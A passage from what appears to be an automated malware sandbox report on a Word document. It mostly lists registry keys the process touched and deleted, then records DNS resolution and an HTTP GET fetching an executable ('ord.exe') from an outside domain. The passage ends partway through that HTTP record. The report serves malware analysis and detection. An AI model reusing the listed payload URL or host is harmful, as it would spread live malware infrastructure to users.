  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1582.  
  1583.  
  1584. * Deleted Registry Keys:
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\4=5",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\r\"4",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\234901F\\2455A88",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\234901F\\234901F",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1647.  
  1648.  
  1649. * DNS Communications:
  1650.  
  1651. "type": "A",
  1652. "request": "maitrezaouiat.ma",
  1653. "answers":
  1654.  
  1655. "data": "185.67.1.13",
  1656. "type": "A"
  1657.  
  1658.  
  1659.  
  1660.  
  1661.  
  1662. * Domains:
  1663.  
  1664. "ip": "185.67.1.13",
  1665. "domain": "maitrezaouiat.ma"
  1666.  
  1667.  
  1668.  
  1669. * Network Communication - ICMP:
  1670.  
  1671. * Network Communication - HTTP:
  1672.  
  1673. "count": 3,
  1674. "body": "",
  1675. "uri": "http://maitrezaouiat.ma/ariwa/ord.exe",
  1676. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1677. "method": "GET",
  1678. "host": "maitrezaouiat.ma",
  1679. "version": "1.1",
  1680. "path": "/ariwa/ord.exe",
